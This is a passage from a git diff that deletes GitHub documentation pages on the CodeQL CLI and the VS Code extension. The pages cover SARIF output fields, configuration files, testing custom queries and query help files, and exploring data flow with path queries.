aria-label="Optionally" %}| Not included if equal to the default value of 1.| -| `endLine`| {% octicon "x" aria-label="Optionally" %}| Not included if identical to `startLine`.| -| `endColumn`| {% octicon "check" aria-label="Always" %}| None | -| `snippet`| {% octicon "x" aria-label="Optionally" %}| None | - -For character offset and length regions, the following properties will be set: - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `charOffset`| {% octicon "x" aria-label="Optionally" %}| Provided if `startLine`, `startColumn`, `endLine`, and `endColumn` are not populated.| -| `charLength`| {% octicon "x" aria-label="Optionally" %}| Provided if `startLine`, `startColumn`, `endLine`, and `endColumn` are not populated.| -| `snippet`| {% octicon "x" aria-label="Optionally" %}| None | - -### `codeFlow` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `threadFlows`| {% octicon "check" aria-label="Always" %}| None | - -### `threadFlow` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `locations`| {% octicon "check" aria-label="Always" %}| None | - -### `threadFlowLocation` object - -| JSON property name| Always generated?| Notes| -|-----------------------|--------------------|------| -| `location`| {% octicon "check" aria-label="Always" %}| None | diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file.md deleted file mode 100644 index 195cfc4bae53..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Specifying command options in a CodeQL configuration file -intro: 'You can save default command options in a {% data variables.product.prodname_codeql %} configuration file.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/specifying-command-options-in-a-codeql-configuration-file - - /code-security/codeql-cli/using-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file ---- - -## About specifying command options in a {% data variables.product.prodname_codeql %} configuration file - -You can save default or frequently used options for your commands in a per-user configuration file. - -You can specify {% data variables.product.prodname_codeql_cli %} command options in two ways: - -* Directly in the command line, using the appropriate flag. -* In a configuration (or `config`) file that {% data variables.product.prodname_codeql %} scans for relevant options each time a command is executed. - -For options that are likely to change each time you execute a command, specifying the value on the command line is the most convenient way of passing the information to {% data variables.product.prodname_codeql %}. Saving options in a `config` file is a good way to specify options you use frequently. It’s also a good way to add custom {% data variables.product.prodname_codeql %} packs that you use regularly to your search path. - -## Using a {% data variables.product.prodname_codeql %} configuration file - -You need to save the `config` file under your home (Linux and macOS) or user profile (Windows) directory in the `.config/codeql/` subdirectory. For example, `$HOME/.config/codeql/config`. - -The syntax for specifying options is as follows: - -```shell -<command> <subcommand> <option> <value> -``` - -To apply the same options to more than one command you can: - -* Omit the `<subcommand>`, which will specify the option for every `<subcommand>` to which it’s relevant. -* Omit both `<command>` and `<subcommand>`, which will globally specify the option for every `<command>` and `<subcommand>` to which it’s relevant. - -> [!NOTE] -> * `config` files only accept spaces between option flags and values—{% data variables.product.prodname_codeql %} will throw an error if you use `=` to specify an option value. -> * If you specify an option in the command line, this overrides the `config` value defined for that option. -> * If you want to specify more than one option for a `<command>`, `<subcommand>` or globally, use one line per option. - -### Examples - -* To output all analysis results generated by `codeql database analyze` as CSV format, you would specify: - - ```shell - database analyze --format csv - ``` - - Here, you have to specify the command and subcommand to prevent any of the low-level commands that are executed during `database analyze` being passed the same `--format` option. - -* To define the RAM (4096 MB) and number of threads (4) to use when running {% data variables.product.prodname_codeql %} commands, specify the following, on separate lines: - - ```shell - --ram 4096 - --threads 4 - ``` - -* To globally specify a directory for {% data variables.product.prodname_codeql %} to scan for {% data variables.product.prodname_codeql %} packs (which is not a sibling of the installation directory), use: - - ```shell - --search-path <path-to-directory> - ``` diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-custom-queries.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-custom-queries.md deleted file mode 100644 index 448bfa67c7a6..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-custom-queries.md +++ /dev/null @@ -1,232 +0,0 @@ ---- -title: Testing custom queries -intro: 'You can set up tests for your {% data variables.product.prodname_codeql %} queries to ensure that they continue to return the expected results with new releases of the {% data variables.product.prodname_codeql_cli %}.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/testing-custom-queries - - /code-security/codeql-cli/using-the-codeql-cli/testing-custom-queries ---- - -## About testing custom queries - -{% data variables.product.prodname_codeql %} provides a simple test framework for automated regression testing -of queries. Test your queries to ensure that they behave as expected. - -During a query test, {% data variables.product.prodname_codeql %} compares the results the user expects -the query to produce with those actually produced. If the expected and -actual results differ, the query test fails. To fix the test, you should iterate -on the query and the expected results until the actual results and the expected -results exactly match. This topic shows you how to create test files and execute -tests on them using the `test run` subcommand. - -## Setting up a test {% data variables.product.prodname_codeql %} pack for custom queries - -All {% data variables.product.prodname_codeql %} tests must be stored in a special "test" {% data variables.product.prodname_codeql %} pack. That is, a directory for test files with a `qlpack.yml` file that defines: - -```yaml -name: <name-of-test-pack> -version: 0.0.0 -dependencies: - <codeql-libraries-and-queries-to-test>: "*" -extractor: <language-of-code-to-test> -``` - -The `dependencies` value specifies the {% data variables.product.prodname_codeql %} packs containing queries to test. -Typically, these packs will be resolved from source, and so it is not necessary -to specify a fixed version of the pack. The `extractor` defines which language the CLI will use to create test databases from the code files stored in this {% data variables.product.prodname_codeql %} pack. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). - -You may find it useful to look at the way query tests are organized in the [{% data variables.product.prodname_codeql %} repository](https://github.com/github/codeql). Each language has a `src` directory, `ql/<language>/ql/src`, that contains libraries and queries for analyzing codebases. Alongside the `src` directory, there is a `test` directory with tests for -these libraries and queries. - -Each `test` directory is configured as a test {% data variables.product.prodname_codeql %} pack with two subdirectories: - -* `query-tests` a series of subdirectories with tests for queries stored in the `src` directory. Each subdirectory contains test code and a QL reference file that specifies the query to test. -* `library-tests` a series of subdirectories with tests for QL library files. Each subdirectory contains test code and queries that were written as unit tests for a library. - -After creating the `qlpack.yml` file, you need to make sure that all of the dependencies are downloaded and available to the CLI. Do this by running the following command in the same directory as the `qlpack.yml` file: - -```shell -codeql pack install -``` - -This will generate a `codeql-pack.lock.yml` file that specifies all of the transitive dependencies required to run queries in this pack. This file should be checked in to source control. - -## Setting up the test files for a query - -For each query you want to test, you should create a sub-directory in the test {% data variables.product.prodname_codeql %} pack. -Then add the following files to the subdirectory before you run the test command: - -* A query reference file (`.qlref` file) defining the location of the query to test. The location is defined relative to the root of the {% data variables.product.prodname_codeql %} pack that contains the query. Usually, this is a {% data variables.product.prodname_codeql %} pack specified in the `dependencies` block of the test pack. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/query-reference-files). - - You do not need to add a query reference file if the query you want to test is stored in the test directory, but it is generally good practice to store queries separately from tests. The only exception is unit tests for QL libraries, which tend to be stored in test packs, separate from queries that generate alerts or paths. - -* The example code you want to run your query against. This should consist of one or more files containing examples of the code the query is designed to identify. - -You can also define the results you expect to see when you run the query against -the example code, by creating a file with the extension `.expected`. Alternatively, you can leave the test command to create the `.expected` file for you. - -For an example showing how to create and test a query, see the [example](#example) below. - -> [!NOTE] -> Your `.ql`, `.qlref`, and `.expected` files must have consistent names: -> -> * If you want to directly specify the `.ql` file itself in the test command, it must have the same base name as the corresponding `.expected` file. For example, if the query is `MyJavaQuery.ql`, the expected results file must be `MyJavaQuery.expected`. -> * If you want to specify a `.qlref` file in the command, it must have the same base name as the corresponding `.expected` file, but the query itself may have a different name. -> * The names of the example code files don’t have to be consistent with the other test files. All example code files found next to the `.qlref` (or `.ql`) file and in any subdirectories will be used to create a test database. Therefore, for simplicity, we recommend you don’t save test files in directories that are ancestors of each other. - -## Running `codeql test run` - -{% data variables.product.prodname_codeql %} query tests are executed by running the following command: - -```shell -codeql test run <test|dir> -``` - -The `<test|dir>` argument can be one or more of the following: - -* Path to a `.ql` file. -* Path to a `.qlref` file that references a `.ql` file. -* Path to a directory that will be searched recursively for `.ql` and `.qlref` files. - -You can also specify: - -* `--threads:` optionally, the number of threads to use when running queries. The default option is `1`. You can specify more threads to speed up query execution. Specifying `0` matches the number of threads to the number of logical processors. - -For full details of all the options you can use when testing queries, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/test-run). - -## Example - -The following example shows you how to set up a test for a query that searches -Java code for `if` statements that have empty `then` blocks. It includes -steps to add the custom query and corresponding test files to separate {% data variables.product.prodname_codeql %} packs -outside your checkout of the {% data variables.product.prodname_codeql %} repository. This ensures when you update the -{% data variables.product.prodname_codeql %} libraries, or check out a different branch, you won’t overwrite your -custom queries and tests. - -### Prepare a query and test files - -1. Develop the query. For example, the following simple query finds empty `then` -blocks in Java code: - - ```shell - import java - - from IfStmt ifstmt - where ifstmt.getThen() instanceof EmptyStmt - select ifstmt, "This if statement has an empty then." - ``` - -1. Save the query to a file named `EmptyThen.ql` in a directory with your -other custom queries. For example, `custom-queries/java/queries/EmptyThen.ql`. - -1. If you haven’t already added your custom queries to a {% data variables.product.prodname_codeql %} pack, create a {% data variables.product.prodname_codeql %} pack now. For example, if your custom Java queries are stored in `custom-queries/java/queries`, add a `qlpack.yml` file with the following contents to `custom-queries/java/queries`: - - ```yaml - name: my-custom-queries - dependencies: - codeql/java-queries: "*" - ``` - - For more information about {% data variables.product.prodname_codeql %} packs, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). - -1. Create a {% data variables.product.prodname_codeql %} pack for your Java tests by adding a `qlpack.yml` file with the following contents to `custom-queries/java/tests`, updating the `dependencies` to match the name of your {% data variables.product.prodname_codeql %} pack of custom queries: - - {% data reusables.codeql-cli.test-qlpack %} - -1. Run `codeql pack install` in the root of the test directory. This generates a `codeql-pack.lock.yml` file that specifies all of the transitive dependencies required to run queries in this pack. - -1. Within the Java test pack, create a directory to contain the test files -associated with `EmptyThen.ql`. For example, `custom-queries/java/tests/EmptyThen`. - -1. In the new directory, create `EmptyThen.qlref` to define the location of `EmptyThen.ql`. The path to the query must be specified relative to the root of -the {% data variables.product.prodname_codeql %} pack that contains the query. In this case, the query is in the -top level directory of the {% data variables.product.prodname_codeql %} pack named `my-custom-queries`, -which is declared as a dependency for `my-query-tests`. Therefore, `EmptyThen.qlref` should simply contain `EmptyThen.ql`. - -1. Create a code snippet to test. The following Java code contains an empty `if` statement on the third line. Save it in `custom-queries/java/tests/EmptyThen/Test.java`. - - ```java - class Test { - public void problem(String arg) { - if (arg.isEmpty()) - ; - { - System.out.println("Empty argument"); - } - } - - public void good(String arg) { - if (arg.isEmpty()) { - System.out.println("Empty argument"); - } - } - } - ``` - -### Execute the test - -To execute the test, move into the `custom-queries` directory and run `codeql -test run java/tests/EmptyThen`. - -When the test runs, it: - -1. Finds one test in the `EmptyThen` directory. - -1. Extracts a {% data variables.product.prodname_codeql %} database from the `.java` files stored in the `EmptyThen` directory. - -1. Compiles the query referenced by the `EmptyThen.qlref` file. - - If this step fails, it’s because the CLI can’t find your custom {% data variables.product.prodname_codeql %} pack. Re-run the command and specify the location of your custom {% data variables.product.prodname_codeql %} pack, for example: - - `codeql test run --search-path=java java/tests/EmptyThen` - - For information about saving the search path as part of your configuration, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file). - -1. Executes the test by running the query and generating an `EmptyThen.actual` results file. - -1. Checks for an `EmptyThen.expected` file to compare with the `.actual` results file. - -1. Reports the results of the test — in this case, a failure: `0 tests passed; 1 tests failed:`. The test failed because we haven’t yet added a file with the expected results of the query. - -### View the query test output - -{% data variables.product.prodname_codeql %} generates the following files in the `EmptyThen` directory: - -* `EmptyThen.actual`, a file that contains the actual results generated by the -query. -* `EmptyThen.testproj`, a test database that you can load into {% data variables.product.prodname_vscode_shortname %} and use to debug failing tests. When tests complete successfully, this database is deleted in a housekeeping step. You can override this step by running `test run` with the `--keep-databases` option. - -In this case, the failure was expected and is easy to fix. If you open the `EmptyThen.actual` file, you can see the results of the test: - -```shell - -| Test.java:3:5:3:22 | stmt | This if statement has an empty then. | - -``` - -This file contains a table, with a column for the location of the result, -along with separate columns for each part of the `select` clause the query outputs. -Since the results are what we expected, we can update the file extension to define -this as the expected result for this test (`EmptyThen.expected`). - -If you rerun the test now, the output will be similar but it will finish by reporting: `All 1 tests passed.`. - -If the results of the query change, for example, if you revise the `select` statement for the query, the test will fail. For failed results, the CLI output includes a unified diff of the `EmptyThen.expected` and `EmptyThen.actual` files. -This information may be sufficient to debug trivial test failures. - -For failures that are harder to debug, you can import `EmptyThen.testproj` -into {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode_shortname %}, execute `EmptyThen.ql`, and view the results in the -`Test.java` example code. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/managing-codeql-databases#choosing-a-database-to-analyze). - -## Further reading - -* [{% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/#codeql-queries) -* [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/testing-codeql-queries-in-vs-code). diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-query-help-files.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-query-help-files.md deleted file mode 100644 index 09134f44276f..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-query-help-files.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Testing query help files -intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to preview your query help files as Markdown and ensure they are valid.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/testing-query-help-files - - /code-security/codeql-cli/using-the-codeql-cli/testing-query-help-files ---- - -## About testing query help files - -Test query help files by rendering them as Markdown to ensure they are valid before uploading them to the {% data variables.product.prodname_codeql %} repository or using them in code scanning. - -<!-- capitalized Markdown --> - -Query help is documentation that accompanies a query to explain how the query works, as well as providing information about the potential problem that the query identifies. It is good practice to write query help for all new queries. For more information, see [Contributing to {% data variables.product.prodname_codeql %}](https://github.com/github/codeql/blob/main/CONTRIBUTING.md) in the {% data variables.product.prodname_codeql %} repository. - -The {% data variables.product.prodname_codeql_cli %} includes a command to test query help and render the content as markdown, so that you can easily preview the content in your IDE. Use the command to validate query help files before uploading them to the {% data variables.product.prodname_codeql %} repository or sharing them with other users. From {% data variables.product.prodname_codeql_cli %} 2.7.1 onwards, you can also include the markdown-rendered query help in SARIF files -generated during {% data variables.product.prodname_codeql %} analyses so that the query help can be displayed in the code scanning UI. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries). - -## Prerequisites - -* The query help (`.qhelp`) file must have an accompanying query (`.ql`) file with an identical base name. -* The query help file should follow the standard structure and style for query help documentation. For more information, see the [Query help style guide](https://github.com/github/codeql/blob/main/docs/query-help-style-guide.md) in the {% data variables.product.prodname_codeql %} repository. - -## Running `codeql generate query-help` - -You can test query help files by running the following command: - -```shell -codeql generate query-help <qhelp|query|dir|suite> --format=<format> [--output=<dir|file>] -``` - -For this command `<qhelp|query|dir|suite>` must be the path to a `.qhelp` file, the path to a `.ql` file, the path to a directory containing queries and query help files, or the path to a query suite. - -You must specify a `--format` option, which defines how the query help is rendered. Currently, you must specify `markdown` to render the query help as markdown. - -The `--output` option defines a file path where the rendered query help will be saved. - -* For directories containing `.qhelp` files or a query suites defining one or more `.qhelp` files, you must specify an `--output` directory. Filenames within the output directory will be derived from the `.qhelp` file names. -* For single `.qhelp` or `.ql` files, you may specify an `--output` option. If you don’t specify an output path, the rendered query help is written to `stdout`. - -For full details of all the options you can use when testing query help files, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/generate-query-help). - -## Results - -When you run the command, {% data variables.product.prodname_codeql %} attempts to render each `.qhelp` file that has an accompanying `.ql` file. For single files, the rendered content will be printed to `stdout` if you don’t specify an `--output` option. For all other use cases, the rendered content is saved to the specified output path. - -By default, the {% data variables.product.prodname_codeql_cli %} will print a warning message if: - -* Any of the query help is invalid, along with a description of the invalid query help elements -* Any `.qhelp` files specified in the command don’t have the same base name as an accompanying `.ql` file -* Any `.ql` files specified in the command don’t have the same base name as an accompanying `.qhelp` file - -You can tell the {% data variables.product.prodname_codeql_cli %} how to handle these warnings by including a `--warnings` option in your command. For more information, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/generate-query-help#--warningsmode). - -## Further reading - -* [Query help files](https://codeql.github.com/docs/writing-codeql-queries/query-help-files/#query-help-files) diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/using-custom-queries-with-the-codeql-cli.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/using-custom-queries-with-the-codeql-cli.md deleted file mode 100644 index 88c241fbfc78..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/using-custom-queries-with-the-codeql-cli.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Using custom queries with the CodeQL CLI -intro: 'You can write your own {% data variables.product.prodname_codeql %} queries to find specific vulnerabilities and errors.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/using-custom-queries-with-the-codeql-cli - - /code-security/codeql-cli/using-the-codeql-cli/using-custom-queries-with-the-codeql-cli ---- - -## About custom queries and the {% data variables.product.prodname_codeql_cli %} - -<!-- tweaked title to fit "About" styling of conceptual intro section --> - -You can customize your {% data variables.product.prodname_codeql %} analyses by writing your own queries to highlight specific vulnerabilities or errors. - -This topic is specifically about writing queries to use with the [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-analyze) command to produce [interpreted results](https://codeql.github.com/docs/codeql-overview/about-codeql/#interpret-query-results). - -{% data reusables.codeql-cli.advanced-query-execution %} - -<!-- created a reusable since it's a reusable on the microsite --> - -## Writing a valid query - -Before running a custom analysis you need to write a valid query, and save it in a file with a `.ql` extension. There is extensive documentation available to help you write queries. For more information, see [{% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/#codeql-queries). - -## Including query metadata - -Query metadata is included at the top of each query file. It provides users with information about the query, and tells the {% data variables.product.prodname_codeql_cli %} how to process the query results. - -When running queries with the `database analyze` command, you must include the following two properties to ensure that the results are interpreted correctly: - -* Query identifier (`@id`): a sequence of words composed of lowercase letters or digits, delimited by `/` or `-`, identifying and classifying the query. - -* Query type (`@kind`): identifies the query as a simple alert (`@kind problem`), an alert documented by a sequence of code locations (`@kind path-problem`), for extractor troubleshooting (`@kind diagnostic`), or a summary metric (`@kind metric` and `@tags summary`). - -For more information about these metadata properties, see [Metadata for {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/#metadata-for-codeql-queries) and the [Query metadata style guide](https://github.com/github/codeql/blob/main/docs/query-metadata-style-guide.md). - -> [!NOTE] -> Metadata requirements may differ if you want to use your query with other applications. For more information, see [Metadata for {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/#metadata-for-codeql-queries). - -## Packaging custom QL queries - -When you write your own queries with the intention to share them with others, you should save them in a custom {% data variables.product.prodname_codeql %} pack. You can publish the pack as a {% data variables.product.prodname_codeql %} pack to {% data variables.product.prodname_registry %} - the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). - -<!-- tweaked to "For more information, see X" to match our style guide --> - -{% data variables.product.prodname_codeql %} packs organize the files used in {% data variables.product.prodname_codeql %} analysis and can store queries, library files, query suites, and important metadata. Their root directory must contain a file named `qlpack.yml`. Your custom queries should be saved in the {% data variables.product.prodname_codeql %} pack root, or its subdirectories. - -For each {% data variables.product.prodname_codeql %} pack, the `qlpack.yml` file includes information that tells the {% data variables.product.prodname_codeql_cli %} how to compile the queries, which other {% data variables.product.prodname_codeql %} packs and libraries the pack depends on, and where to find query suite definitions. For more information about what to include in this file, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs#codeqlpack-yml-properties). - -## Including query help for custom {% data variables.product.prodname_codeql %} queries in SARIF files - -If you use the {% data variables.product.prodname_codeql_cli %} to run code scanning analyses on third party CI/CD systems, -you can include the query help for your custom queries in SARIF files generated during an analysis. -After uploading the SARIF file to {% data variables.product.prodname_dotcom %}, the query help is shown in the code scanning UI for any -alerts generated by the custom queries. - -From {% data variables.product.prodname_codeql_cli %} v2.7.1 onwards, you can include markdown-rendered query help in SARIF files -by providing the `--sarif-add-query-help` option when running -`codeql database analyze`. - -You can write query help for custom queries directly in a markdown file and save it alongside the -corresponding query. Alternatively, for consistency with the standard {% data variables.product.prodname_codeql %} queries, -you can write query help in the `.qhelp` format. Query help written in `.qhelp` -files can’t be included in SARIF files, and they can’t be processed by code -scanning so must be converted to markdown before running -the analysis. For more information, see [Query help files](https://codeql.github.com/docs/writing-codeql-queries/query-help-files/#query-help-files) -and [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/testing-query-help-files). - -## Contributing to the {% data variables.product.prodname_codeql %} repository - -If you would like to share your query with other {% data variables.product.prodname_codeql %} users, you can open a pull request in the [{% data variables.product.prodname_codeql %} repository](https://github.com/github/codeql). For more information, see [Contributing to {% data variables.product.prodname_codeql %}](https://github.com/github/codeql/blob/main/CONTRIBUTING.md). - -<!-- tweaked to "For more information, see X" to match our style guide --> - -## Further reading - -* [{% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/#codeql-queries) diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/about-codeql-for-vs-code.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/about-codeql-for-vs-code.md deleted file mode 100644 index aa5f947f004d..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/about-codeql-for-vs-code.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: About CodeQL for VS Code -shortTitle: About the extension -versions: - fpt: '*' - ghec: '*' - ghes: '*' -product: '{% data reusables.gated-features.codeql %}' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can write, run, and test {% data variables.product.prodname_codeql %} queries inside {% data variables.product.prodname_vscode %} with the {% data variables.product.prodname_codeql %} extension.' -redirect_from: - - /code-security/codeql-for-vs-code/about-codeql-for-visual-studio-code ---- - -## About {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} - -You can run {% data variables.product.prodname_codeql %} queries on databases generated from source code, in order to find errors and security vulnerabilities in a codebase. For more information about {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). - -With the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension, you can: - -* Write custom {% data variables.product.prodname_codeql %} queries and supporting libraries. -* Directly view and use the {% data variables.product.prodname_codeql %} security queries from the large, open-source [`github/codeql`](https://github.com/github/codeql) repository. -* Run queries over one or more {% data variables.product.prodname_codeql %} databases. -* Track the flow of data through a program, highlighting areas that are potential security vulnerabilities. -* View, create, and edit all types of {% data variables.product.prodname_codeql %} packs of queries or libraries that you can use or publish to share with others. -* Run unit tests for {% data variables.product.prodname_codeql %} queries. -* Use a dedicated editor for viewing, creating, and editing {% data variables.product.prodname_codeql %} model packs, which are used to extend standard {% data variables.product.prodname_codeql %} analysis. - -The {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension also adds a {% data variables.product.prodname_codeql %} sidebar view to {% data variables.product.prodname_vscode_shortname %}. This contains a list of local {% data variables.product.prodname_codeql %} databases, an overview of the queries that you have run in the current session, and a variant analysis view for large-scale analysis. - -### IntelliSense - -The extension provides standard IntelliSense features for query files (extension `.ql`) and library files (extension `.qll`) that you open in the {% data variables.product.prodname_vscode_shortname %} editor. These include: - -* Syntax highlighting -* Right-click options (such as **Go To Definition**) -* Autocomplete suggestions -* Hover information - -For more information about Intellisense in {% data variables.product.prodname_vscode_shortname %}, see [IntelliSense](https://code.visualstudio.com/docs/editor/intellisense) in the {% data variables.product.prodname_vscode %} documentation. - -You can also use the {% data variables.product.prodname_vscode_shortname %} **Format Document** command to format your code according to the [{% data variables.product.prodname_codeql %} style guide](https://github.com/github/codeql/blob/main/docs/ql-style-guide.md). - -### The {% data variables.product.prodname_vscode_command_palette_shortname %} - -You can run commands for the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension from the {% data variables.product.prodname_vscode_command_palette_shortname %}. For more information about the {% data variables.product.prodname_vscode_command_palette_shortname %}, see [User Interface](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -## Data and telemetry - -If you specifically opt in to permit {% data variables.product.prodname_dotcom %} to do so, {% data variables.product.prodname_dotcom %} will collect usage data and metrics for the purposes of helping the core developers to improve the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/telemetry-in-codeql-for-visual-studio-code). - -{% data reusables.code-scanning.codeql-license %} - -## Next steps - -To learn about how to install the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/installing-codeql-for-vs-code). diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/exploring-data-flow-with-path-queries.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/exploring-data-flow-with-path-queries.md deleted file mode 100644 index 4e388ae43285..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/exploring-data-flow-with-path-queries.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Exploring data flow with path queries -shortTitle: Explore data flow -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can run {% data variables.product.prodname_codeql %} queries in {% data variables.product.prodname_vscode %} to help you track the flow of data through a program, highlighting areas that are potential security vulnerabilities.' -redirect_from: - - /code-security/codeql-for-vs-code/exploring-data-flow-with-path-queries ---- - -## About path queries - -A path query is a {% data variables.product.prodname_codeql %} query with the property `@kind path-problem`. You can find a number of these in the standard {% data variables.product.prodname_codeql %} libraries. - -You can run the standard {% data variables.product.prodname_codeql %} path queries to identify security vulnerabilities and manually look through the results. For more information about how {% data variables.product.prodname_codeql %} tracks data flow, see [About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/) in the {% data variables.product.prodname_codeql %} documentation. - -Once you're familiar with data flow analysis and existing queries, you can write your own path queries in {% data variables.product.prodname_codeql %}. For more information, see [Next steps](#next-steps). - -## Running path queries in {% data variables.product.prodname_vscode_shortname %} locally - -1. Open a path query in {% data variables.product.prodname_vscode_shortname %}. -1. Right-click in the window with the query open, and select **{% data variables.product.prodname_codeql %}: Run Query on Selected Database**. Alternatively, you can also run this from the {% data variables.product.prodname_vscode_command_palette_shortname %}. -1. Once the query has finished running, you can see the results in the "Results" view (under `alerts` in the dropdown menu). Each query result describes the flow of information between a source and a sink. -1. Expand the result to see the individual steps that the data follows. -1. Click each step to jump to it in the source code and investigate the problem further. - -## Next steps - -{% ifversion codeql-vs-code-mrva %} - -When you are ready to run a path query at scale, you can use the "Variant Analysis Repositories" view to run the query against up to 1,000 repositories on {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis). - -{% endif %} - -For information about how to use the correct format and metadata for your own path queries, see [Creating path queries](https://codeql.github.com/docs/writing-codeql-queries/creating-path-queries/#creating-path-queries) in the {% data variables.product.prodname_codeql %} documentation. The {% data variables.product.prodname_codeql %} documentation also contains detailed information about how to define new sources and sinks, as well as templates and examples of how to extend the standard {% data variables.product.prodname_codeql %} libraries to suit your analysis. diff --git a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/index.md b/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/index.md deleted file mode 100644 index 10ae6348e145..000000000000 --- a/content/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Getting started with the {% data variables.product.prodname_codeql %} for Visual Studio Code extension -shortTitle: Getting started -intro: 'The {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %} makes it easy to run a query to find problems in 